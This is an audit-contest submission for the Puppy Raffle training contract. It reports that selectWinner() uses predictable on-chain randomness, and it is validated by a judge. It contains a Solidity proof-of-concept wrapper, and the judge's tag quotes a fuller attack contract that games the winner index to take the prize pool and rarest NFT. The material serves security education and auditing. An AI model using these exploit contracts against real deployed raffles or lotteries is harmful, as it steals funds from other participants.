Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Predictable randomness in selectWinner() lets an attacker win the raffle and mint the rarest NFT

managerr77

Root + Impact

Description

selectWinner() is meant to pick a pseudo-random winner and NFT rarity once the raffle duration elapses.

Both the winner index and the rarity are derived from on-chain values known or controllable at execution time (msg.sender, block.timestamp, block.difficulty/prevrandao). A caller can compute the outcome off-chain for the current block and finalize only when it makes them win (and/or mints a legendary), reverting otherwise. A validator can additionally grind block.timestamp.

@> uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Risk

Likelihood: High

  • All inputs are predictable to the caller within the block; no privileged access is required.

  • The attacker reverts in a wrapper when the outcome is unfavorable and retries next block.

Impact: High

  • The raffle becomes deterministic for a motivated attacker: they steal the prize pool every round and mint the rarest NFT. Fairness and funds are fully compromised.

Proof of Concept

// Attacker wrapper: only finalize when WE are the predicted winner.
// selectWinner() hashes msg.sender, so calling from this contract
// reproduces the exact winnerIndex computed here.
function tryWin() external {
uint256 idx = uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % raffle.playersLength();
require(raffle.players(idx) == address(this), "not our block");
raffle.selectWinner();
}

The attacker enters, then calls tryWin() each block; it reverts until the predicted index equals the attacker, then finalizes, guaranteeing the win and chosen rarity.

Recommended Mitigation

Use a verifiable randomness beacon such as Chainlink VRF. Never derive lottery outcomes from block.timestamp, block.difficulty/prevrandao, or msg.sender.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 22 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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